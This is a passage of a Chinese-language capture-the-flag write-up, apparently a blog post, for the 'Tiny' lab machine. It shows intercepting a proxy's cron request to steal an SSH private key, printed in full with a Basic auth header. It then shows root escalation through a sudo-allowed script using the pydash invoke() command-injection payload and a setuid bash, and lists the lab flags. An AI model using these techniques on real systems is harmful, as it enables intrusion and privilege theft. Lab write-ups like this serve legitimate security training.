      \u6211\u4eec\u63a5\u7740\u67e5\u627e\u4e00\u4e0b\u8fd9\u4e2a\u9ed8\u8ba4\u7684\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n
      (remote) www-data@tiny.hmv:\/home$ find \/ -name tinyproxy -type f 2>\/dev\/null\n\/usr\/bin\/tinyproxy\n\/etc\/init.d\/tinyproxy\n\/etc\/default\/tinyproxy\n\/etc\/logrotate.d\/tinyproxy\n(remote) www-data@tiny.hmv:\/home$ find \/ -name tinyproxy.conf  2>\/dev\/null\n\/usr\/share\/doc\/tinyproxy\/examples\/tinyproxy.conf\n\/usr\/lib\/tmpfiles.d\/tinyproxy.conf\n\/etc\/tinyproxy\/tinyproxy.conf<\/code><\/pre>\n
      \u67e5\u627e\u4e00\u4e0b\u6211\u4eec\u60f3\u8981\u7684\u4e1c\u897f\uff1a<\/p>\n
      cat \/usr\/lib\/tmpfiles.d\/tinyproxy.conf\ncat \/etc\/tinyproxy\/tinyproxy.conf\ncat \/etc\/tinyproxy\/tinyproxy.conf | grep "Port"\ncat \/etc\/tinyproxy\/tinyproxy.conf | grep -v "#"\ncat \/etc\/tinyproxy\/tinyproxy.conf | grep -v "#" | grep <\/code><\/pre>\n
      \n
      grep .<\/code> \u7684\u610f\u601d\u662f\u641c\u7d22\u5305\u542b\u81f3\u5c11\u4e00\u4e2a\u5b57\u7b26\u7684\u884c\u3002\u7531\u4e8e.<\/code> \u5339\u914d\u4efb\u4f55\u5b57\u7b26\uff0c\u6240\u4ee5\u4efb\u4f55\u975e\u7a7a\u884c\u90fd\u4f1a\u88ab\u8fd9\u4e2a\u547d\u4ee4\u5339\u914d\u3002<\/p>\n<\/blockquote>\n
      User tinyproxy\nGroup tinyproxy\nPort 8888\nTimeout 600\nDefaultErrorFile "\/usr\/share\/tinyproxy\/default.html"\nStatFile "\/usr\/share\/tinyproxy\/stats.html"\nLogFile "\/var\/log\/tinyproxy\/tinyproxy.log"\nLogLevel Info\nPidFile "\/run\/tinyproxy\/tinyproxy.pid"\nUpstream http localhost:1111\nMaxClients 100\nAllow 127.0.0.1\nAllow ::1\nAllow 192.168.0.30\nViaProxyName "tinyproxy"<\/code><\/pre>\n
      \"image-20240409165731491\"<\/div>
      \n
      \"image-20240409165752892\"<\/div><\/p>\n
      \u770b\u67658888<\/code>\u7aef\u53e3\u88ab\u7ed1\u5b9a\u5230\u4e861111<\/code>\u7aef\u53e3\uff0c\u5c1d\u8bd5\u76d1\u542c\u4e00\u4e0b\uff1a<\/p>\n
      (remote) www-data@tiny.hmv:\/home$ nc -lp 1111\nwhoami\n^C\n(remote) www-data@tiny.hmv:\/home$ nc -lvvp 1111\nlistening on [any] 1111 ...\nconnect to [127.0.0.1] from localhost [127.0.0.1] 34160\nGET http:\/\/127.0.0.1:8000\/id_rsa HTTP\/1.1\nHost: 127.0.0.1:8000\nConnection: close\nVia: 1.1 tinyproxy (tinyproxy\/1.11.1)\nAuthorization: Basic cm9vdDpRMlg0OXQ0V2pz\nUser-Agent: curl\/7.88.1\nAccept: *\/*<\/code><\/pre>\n
      \u679c\u7136\u662f\u5b9a\u65f6\u4efb\u52a1\u3002\u3002\u3002\u53d1\u73b0\u4f20\u8fc7\u6765\u7684\u662fid_rsa<\/code>\uff0c\u7aef\u53e3\u8f6c\u53d1\u4e00\u4e0b\uff0c\u7136\u540e\u63a5\u6536\uff1a<\/p>\n
      (remote) www-data@tiny.hmv:\/tmp$ socat -V\nsocat by Gerhard Rieger and contributors - see www.dest-unreach.org\nsocat version 1.7.4.4 on 06 Nov 2022 08:15:51\n   running on Linux version #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03), release 6.1.0-10-amd64, machine x86_64\nfeatures:\n  #define WITH_STDIO 1\n  #define WITH_FDNUM 1\n  #define WITH_FILE 1\n  #define WITH_CREAT 1\n  #define WITH_GOPEN 1\n  #define WITH_TERMIOS 1\n  #define WITH_PIPE 1\n  #define WITH_UNIX 1\n  #define WITH_ABSTRACT_UNIXSOCKET 1\n  #define WITH_IP4 1\n  #define WITH_IP6 1\n  #define WITH_RAWIP 1\n  #define WITH_GENERICSOCKET 1\n  #define WITH_INTERFACE 1\n  #define WITH_TCP 1\n  #define WITH_UDP 1\n  #define WITH_SCTP 1\n  #define WITH_LISTEN 1\n  #define WITH_SOCKS4 1\n  #define WITH_SOCKS4A 1\n  #define WITH_VSOCK 1\n  #define WITH_PROXY 1\n  #define WITH_SYSTEM 1\n  #define WITH_EXEC 1\n  #undef WITH_READLINE\n  #define WITH_TUN 1\n  #define WITH_PTY 1\n  #define WITH_OPENSSL 1\n  #undef WITH_FIPS\n  #define WITH_LIBWRAP 1\n  #define WITH_SYCLS 1\n  #define WITH_FILAN 1\n  #define WITH_RETRY 1\n  #define WITH_MSGLEVEL 0 \/*debug*\/\n(remote) www-data@tiny.hmv:\/tmp$ socat -v TCP-LISTEN:1111,reuseaddr,fork TCP:127.0.0.1:8000\n> 2024\/04\/09 11:08:02.000033517  length=206 from=0 to=205\nGET http:\/\/127.0.0.1:8000\/id_rsa HTTP\/1.1\\r\nHost: 127.0.0.1:8000\\r\nConnection: close\\r\nVia: 1.1 tinyproxy (tinyproxy\/1.11.1)\\r\nAuthorization: Basic cm9vdDpRMlg0OXQ0V2pz\\r\nUser-Agent: curl\/7.88.1\\r\nAccept: *\/*\\r\n\\r\n< 2024\/04\/09 11:08:02.000084086  length=2851 from=0 to=2850\nHTTP\/1.1 200 OK\\r\nServer: nginx\/1.22.1\\r\nDate: Tue, 09 Apr 2024 09:08:02 GMT\\r\nContent-Type: application\/octet-stream\\r\nContent-Length: 2602\\r\nLast-Modified: Sat, 30 Sep 2023 06:17:50 GMT\\r\nConnection: close\\r\nETag: "6517bd8e-a2a"\\r\nAccept-Ranges: bytes\\r\n\\r\n-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAr\/yECvux95Vg435Ui0yuaBZTS\/WUvQqlf7bYXEfYyL\/8xCZFmBzE\n4cMvIOcS3h0O766SRGu0hYZRkNZifQRBs8+vEFuc1lGxm1JsJpCqJ1aI61ieL\/6n9xv2ci\nO+nz7ONmcitb\/Xpg4k95w\/pRQRY6kDwfSUFhUY7roVbZLzPTjtb+z4BCWEp6nokFmOBw20\noL3h\/lKK8yHE2nSQVLc47wnNyM97TJT0lac4gTkm5lqGNrDhbmo1e5OeDKjezkmXGTqNo4\nRAp0bl6ZHQ6A43nm5YBr\/btdPZq2huSifVdgaXu3joLuMbzanihyEq1gaSrf0BaFDKjf0g\nvyiNfTd5lc+W+\/SnystQuddu5hR9i8H75VBONhpOeShU3mFVpCZ7BErltTtEU73jzxbZKg\n\/pLw\/PZFJvw0SOQN3oTuVwXioxF1dD8fM4sXqu9AoXAQnrQ3wZW7tdfFHGHCC53nxtQnHJ\noB\/KV3AXKanDZ+lXAoPTNwPpAGPlTo6oR9mNtxYPAAAFiC4qngkuKp4JAAAAB3NzaC1yc2\nEAAAGBAK\/8hAr7sfeVYON+VItMrmgWU0v1lL0KpX+22FxH2Mi\/\/MQmRZgcxOHDLyDnEt4d\nDu+ukkRrtIWGUZDWYn0EQbPPrxBbnNZRsZtSbCaQqidWiOtYni\/+p\/cb9nIjvp8+zjZnIr\nW\/16YOJPecP6UUEWOpA8H0lBYVGO66FW2S8z047W\/s+AQlhKep6JBZjgcNtKC94f5SivMh\nxNp0kFS3OO8JzcjPe0yU9JWnOIE5JuZahjaw4W5qNXuTngyo3s5Jlxk6jaOEQKdG5emR0O\ngON55uWAa\/27XT2atobkon1XYGl7t46C7jG82p4ochKtYGkq39AWhQyo39IL8ojX03eZXP\nlvv0p8rLULnXbuYUfYvB++VQTjYaTnkoVN5hVaQmewRK5bU7RFO9488W2SoP6S8Pz2RSb8\nNEjkDd6E7lcF4qMRdXQ\/HzOLF6rvQKFwEJ60N8GVu7XXxRxhwgud58bUJxyaAfyldwFymp\nw2fpVwKD0zcD6QBj5U6OqEfZjbcWDwAAAAMBAAEAAAGASO7FaifVIV3uwVjhgLlOriRScP\nBdq9p1q\/ACynucA9ZM0p1pyhhiH43cQi6BSzuPrRUT2Pcp4QxBUV0Hg\/f3oqU3T\/gnj0pb\n6JrH51OcsKDULXSUWh+XTHlyMOtPXH+SxkkHwXq3zEGgYF2IoskmS78Hp6HMnToxEv5bUw\nXLeFvXSsNSJaXGzBVGJEx458NuUA9hURy0KP6drksQZYtpNOdDOS2DU8GHe13JtQQScvSh\nGplDU5cAgy4yGd0COUuVeha7kxu8X3H1DilAjkqA\/WTXsrl4hFSBmFqAHus6lAIVwqXta8\na5AczCy2sj96Am8i82OEqWm\/s9qDGsXShNN9OXdzV1AjGPTU6tfD44mMKjFTg\/T8AAgrnF\nNy8G8cEZ25\/+p4VOB1D5Md\/cHNXV4IJbQQjMhdWPKQAjbgmxV5O8b0Juvm+DjL6eki7btb\npNmxNY\/bC1NU99aizPt4wMR4AavsPnSdSEyHyGPiMM6KpNt0zQKndRYqqxlL8RlWJBAAAA\nwDziFYIuXmtoCnsTD3lpXEOuIUmuVb9rvdeXlM\/4W2x5AE0DulPINGaGZRai8IDNfDcdeW\n1Y2CIFtrAZnsxmQWN\/8XSwd9WJkRgXkapjJlRqR3HVQGwpkm85GRhPchbdMh7W3Nq\/ZQPP\nb669wTQI2gsxQcgW9OOj+OzZu36c\/zj2S7NyVJKE58fg7isCOoKAdAFmi3HPkdGM\/w\/FJV\nfC1JSzvu34RyOY1lZy0v4TKu4F+2G1xp7Z+cOQMEUM5hNx+gAAAMEA7D3vajOb\/mwu5+oE\nzjggNbzN6waU\/DmbmoaMqBM4qxyMNU2oNCTrtvrrkG0BEHoslnSJo9\/Cr8MP6joOMk6eTg\nz64vBmTlvY5defCN\/8TX1lxZyk1qOM5DliTK56ydRepXMFRgTJUf1xoorZ2vKZNHmPGLvr\nSvBMKcghKOgGyt\/ydnxLCttwl4Gqxb6SA57tej5eezsvw\/nH+k5rkxOUqyw2mDALzk2IWz\n1PxwaZ\/Zq0w3A9jRSKVyfPPOwnjuD7AAAAwQC+tHo9BC\/6YgZBihmL0eAjV2Hr5+vh+OUx\nazB+TpW2NZWLyiCrmqCDNllKRaAOWdDEmtzj4LdGCsV4Q+Ndt4TwvDT+IERHg7zo586N\/r\nIKNT4z9FD\/jiEYHdmZ4LgCIlhseV9ryELv9y9p6qZJcNXp65L7i4gG5n8uiuphNb7r\/my\/\newAiJsS+Vc8DQ1H5ECwcBt9JrLczvMiUMJ6inh8Ppvn4MIkYSxA6xLAAtpkEFq3IAbDPnE\n67apP6Gxw32v0AAAAMdmljQHRpbnkuaG12AQIDBAUGBw==\n-----END OPENSSH PRIVATE KEY-----<\/code><\/pre>\n
      \u5c1d\u8bd5ssh\u8fde\u63a5\u4e00\u4e0b\uff1a<\/p>\n
      \"image-20240409171133731\"<\/div><\/p>\n
      \u63d0\u6743\u81f3root<\/h3>\n
      \u4fe1\u606f\u641c\u96c6<\/h4>\n
      \u256d\u2500vic@tiny ~ \n\u2570\u2500$ pwd     \n\/home\/vic\n\u256d\u2500vic@tiny ~ \n\u2570\u2500$ ls -la\ntotal 220\ndrwx------  6 vic  vic    4096 Apr  9 11:12 .\ndrwxr-xr-x  3 root root   4096 Sep 25  2023 ..\n-rw-r--r--  1 vic  vic     220 Sep 30  2023 .bash_logout\n-rw-r--r--  1 vic  vic    3526 Sep 30  2023 .bashrc\ndrwx------  3 vic  vic    4096 Sep 30  2023 .gnupg\ndrwxr-xr-x  3 vic  vic    4096 Sep 30  2023 .local\ndrwxr-xr-x 12 vic  vic    4096 Sep 30  2023 .oh-my-zsh\n-rw-r--r--  1 vic  vic     807 Sep 30  2023 .profile\ndrwx------  2 vic  vic    4096 Sep 30  2023 .ssh\n-rwx------  1 vic  vic      33 Sep 30  2023 user.txt\n-rw-r--r--  1 vic  vic   51858 Apr  9 11:11 .zcompdump-tiny-5.9\n-r--r--r--  1 vic  vic  120064 Apr  9 11:11 .zcompdump-tiny-5.9.zwc\n-rw-------  1 vic  vic      66 Apr  9 11:12 .zsh_history\n-rw-r--r--  1 vic  vic    3890 Sep 30  2023 .zshrc\n\u256d\u2500vic@tiny ~ \n\u2570\u2500$ cat user.txt \n7d9b0f6638734dbb10545f446c04a42b\n\u256d\u2500vic@tiny ~ \n\u2570\u2500$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/bin\/gpasswd\n\/usr\/bin\/passwd\n\/usr\/bin\/sudo\n\/usr\/bin\/newgrp\n\/usr\/bin\/chsh\n\/usr\/bin\/su\n\/usr\/bin\/mount\n\/usr\/bin\/chfn\n\/usr\/bin\/umount\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\u256d\u2500vic@tiny ~ \n\u2570\u2500$ sudo -l                                                                                                                                         1 \u21b5\nMatching Defaults entries for vic on tiny:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin, use_pty\n\nUser vic may run the following commands on tiny:\n    (ALL : ALL) NOPASSWD: \/usr\/bin\/python3 \/opt\/car.py*\n\u256d\u2500vic@tiny ~ \n\u2570\u2500$ cat \/opt\/car.py        \nimport sys\nimport random\nimport pydash\n\nclass Car:\n    def __init__(self, model, year):\n        self.model = model\n        self.year = year\n        self.id = random.randint(1, 99999)\n\n    def get_info(self, info_type):\n        if info_type == "model":\n            return self.model\n        elif info_type == "year":\n            return self.year\n        elif info_type == "id":\n            return self.id\n\ndef poc(path, arg):\n    obj = Car('Sedan', 2011)\n    res = pydash.objects.invoke(obj, path, arg)\n    print(res)\n\nif __name__ == '__main__':\n    if len(sys.argv) < 3:\n        print('Missing args: %s <path> <arg>' % sys.argv[0])\n        sys.exit(1)\n    poc(sys.argv[1], sys.argv[2])<\/code><\/pre>\n
      \u5c31\u662f\u4e00\u4e2a\u666e\u901a\u7684\u811a\u672c\uff0c\u7b2c\u4e00\u53cd\u5e94\u770b\u662f\u4e0d\u662fimport<\/code>\u7684\u6587\u4ef6\u53ef\u4ee5\u4fee\u6539\uff0c\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n
      find \/ -writable -type f 2>\/dev\/null<\/code><\/pre>\n
      \u4f46\u662f\u6ca1\u6709\u770b\u5230\u53ef\u4ee5\u4fee\u6539\u7684\u5e93\u6587\u4ef6\uff0c\u4ee3\u7801\u5ba1\u8ba1\u4e00\u4e0b\uff0c\u8fd9\u4e2a\u811a\u672c\u91cc\u6ca1\u5565\u4e1c\u897f\u5bb9\u6613\u51fa\u9519\uff0c\u5982\u679c\u975e\u8981\u51fa\u9519\u7684\u8bdd\uff0c\u53ef\u80fd\u5c31\u662f\u5728pydash.objects.invoke<\/code>\uff0c\u4e3b\u8981\u770b\u8fd9\u4e2ainvoke<\/code>\u4e0d\u987a\u773c\uff0c\u524d\u4e00\u9635\u5b50\u770bhvv\u7684\u65f6\u5019\u770b\u5230\u4e86Jboss\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u91cc\u9762\u5c31\u6709\u4e2ainvoke\/readonly<\/code>\u597d\u50cf\u6709\u95ee\u9898\uff0c\u641c\u7d22\u4e00\u4e0b\uff0c\u8fd9\u9898\u80af\u5b9a\u4e0d\u662fpwn\u641e\u7684\uff0c\u90fd\u6ca1\u6709\u6267\u884c\u7cfb\u7edf\u51fd\u6570\u3002<\/p>\n
      \"image-20240409172227364\"<\/div><\/p>\n
      \u5b58\u5728\u547d\u4ee4\u52ab\u6301\u7684\u6f0f\u6d1e\uff0c\u770b\u4e00\u4e0b\u662f\u5565\u60c5\u51b5\uff1a<\/p>\n
      \n
      This affects versions of the package pydash before 6.0.0. A number of pydash methods such as pydash.objects.invoke() and pydash.collections.invoke_map() accept dotted paths (Deep Path Strings) to target a nested Python object, relative to the original source object. These paths can be used to target internal class attributes and dict items, to retrieve, modify or invoke nested Python objects.<\/p>\n
      Note:<\/strong><\/p>\n
      The pydash.objects.invoke() method is vulnerable to Command Injection when the following prerequisites are satisfied:<\/p>\n
        \n
      1. The source object (argument 1) is not a built-in object such as list\/dict (otherwise, the init<\/strong>.globals<\/strong> path is not accessible)<\/li>\n
      2. The attacker has control over argument 2 (the path string) and argument 3 (the argument to pass to the invoked method)<\/li>\n<\/ol>\n
        The pydash.collections.invoke_map() method is also vulnerable, but is harder to exploit as the attacker does not have direct control over the argument to be passed to the invoked function.<\/p>\n
        \u8fd9\u4f1a\u5f71\u54cd 6.0.0 \u4e4b\u524d\u7684 pydash \u5305\u7248\u672c\u3002\u8bb8\u591a pydash \u65b9\u6cd5\uff08\u4f8b\u5982 pydash.objects.invoke() \u548c pydash.collections.invoke_map()\uff09\u63a5\u53d7\u70b9\u8def\u5f84\uff08\u6df1\u5c42\u8def\u5f84\u5b57\u7b26\u4e32\uff09\u6765\u5b9a\u4f4d\u76f8\u5bf9\u4e8e\u539f\u59cb\u6e90\u5bf9\u8c61\u7684\u5d4c\u5957 Python \u5bf9\u8c61\u3002\u8fd9\u4e9b\u8def\u5f84\u53ef\u7528\u4e8e\u5b9a\u4f4d\u5185\u90e8\u7c7b\u5c5e\u6027\u548c\u5b57\u5178\u9879\uff0c\u4ee5\u68c0\u7d22\u3001\u4fee\u6539\u6216\u8c03\u7528\u5d4c\u5957\u7684 Python \u5bf9\u8c61\u3002<\/p>\n
        \u7b14\u8bb0\uff1a<\/strong><\/p>\n
        \u5f53\u6ee1\u8db3\u4ee5\u4e0b\u5148\u51b3\u6761\u4ef6\u65f6\uff0c pydash.objects.invoke() \u65b9\u6cd5\u5bb9\u6613\u53d7\u5230\u547d\u4ee4\u6ce8\u5165\u7684\u653b\u51fb\uff1a<\/p>\n
          \n
        1. \u6e90\u5bf9\u8c61\uff08\u53c2\u65701\uff09\u4e0d\u662flist<\/strong> \/dict\u7b49\u5185\u7f6e\u5bf9\u8c61\uff08\u5426\u5219\uff0cinit.globals\u8def\u5f84\u4e0d\u53ef<\/strong>\u8bbf\u95ee\uff09<\/li>\n
        2. \u653b\u51fb\u8005\u53ef\u4ee5\u63a7\u5236\u53c2\u6570 2\uff08\u8def\u5f84\u5b57\u7b26\u4e32\uff09\u548c\u53c2\u6570 3\uff08\u4f20\u9012\u7ed9\u8c03\u7528\u65b9\u6cd5\u7684\u53c2\u6570\uff09<\/li>\n<\/ol>\n
          pydash.collections.invoke_map() \u65b9\u6cd5\u4e5f\u5bb9\u6613\u53d7\u5230\u653b\u51fb\uff0c\u4f46\u66f4\u96be\u5229\u7528\uff0c\u56e0\u4e3a\u653b\u51fb\u8005\u65e0\u6cd5\u76f4\u63a5\u63a7\u5236\u8981\u4f20\u9012\u7ed9\u8c03\u7528\u51fd\u6570\u7684\u53c2\u6570\u3002<\/p>\n<\/blockquote>\n
          \u770b\u4e00\u4e0b\u5305\u7684\u7248\u672c\uff1a<\/p>\n
          \u256d\u2500vic@tiny ~ \n\u2570\u2500$ pip show pydash\nName: pydash\nVersion: 5.1.2\nSummary: The kitchen sink of Python utility libraries for doing "stuff" in a functional way. Based on the Lo-Dash Javascript library.\nHome-page: https:\/\/github.com\/dgilland\/pydash\nAuthor: Derrick Gilland\nAuthor-email: dgilland@gmail.com\nLicense: MIT License\nLocation: \/usr\/local\/lib\/python3.11\/dist-packages\nRequires: \nRequired-by: <\/code><\/pre>\n
          \u662f\u6211\u4eec\u53ef\u4ee5\u653b\u51fb\u7684\u7248\u672c\uff0c\u5c1d\u8bd5\u6784\u9020\u4e00\u4e0b\u4ee3\u7801\u8fdb\u884c\u5229\u7528\uff01\uff01\uff01\uff01\uff01<\/p>\n
          \u5148\u5c1d\u8bd5\u4e00\u4e0b\u63d0\u4f9b\u7684POC\uff1a<\/p>\n
          \"image-20240409172626698\"<\/div><\/p>\n
          \u256d\u2500vic@tiny ~ \n\u2570\u2500$ sudo \/usr\/bin\/python3 \/opt\/car.py __init__.__globals__.random._os.system "id"\nuid=0(root) gid=0(root) groups=0(root)\n0<\/code><\/pre>\n
          \u725b\u86d9\uff0c\u5c1d\u8bd5\u63d0\u6743\uff01<\/p>\n
          \u256d\u2500vic@tiny ~ \n\u2570\u2500$ sudo \/usr\/bin\/python3 \/opt\/car.py __init__.__globals__.random._os.system "chmod +s \/bin\/bash"\n0\n\u256d\u2500vic@tiny ~ \n\u2570\u2500$ ls -l \/bin\/bash\n-rwsr-sr-x 1 root root 1265648 Apr 23  2023 \/bin\/bash\n\u256d\u2500vic@tiny ~ \n\u2570\u2500$ \/bin\/bash -p\nbash-5.2# whoami;id\nroot\nuid=1000(vic) gid=1000(vic) euid=0(root) egid=0(root) groups=0(root),100(users),1000(vic)\nbash-5.2# cd \/root\nbash-5.2# ls\nroot.txt\nbash-5.2# cat root.txt \n0785ded6dbb7e73959924ad06152eabc<\/code><\/pre>\n
          \u81f3\u6b64\uff0c\u5f97\u5230flag\uff01\uff01\uff01\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
          Tiny \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf rustscan -a 172.20.10.3 — -A PORT STATE […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-520","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/520","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=520"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/520\/revisions"}],"predecessor-version":[{"id":521,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/520\/revisions\/521"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=520"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=520"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=520"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}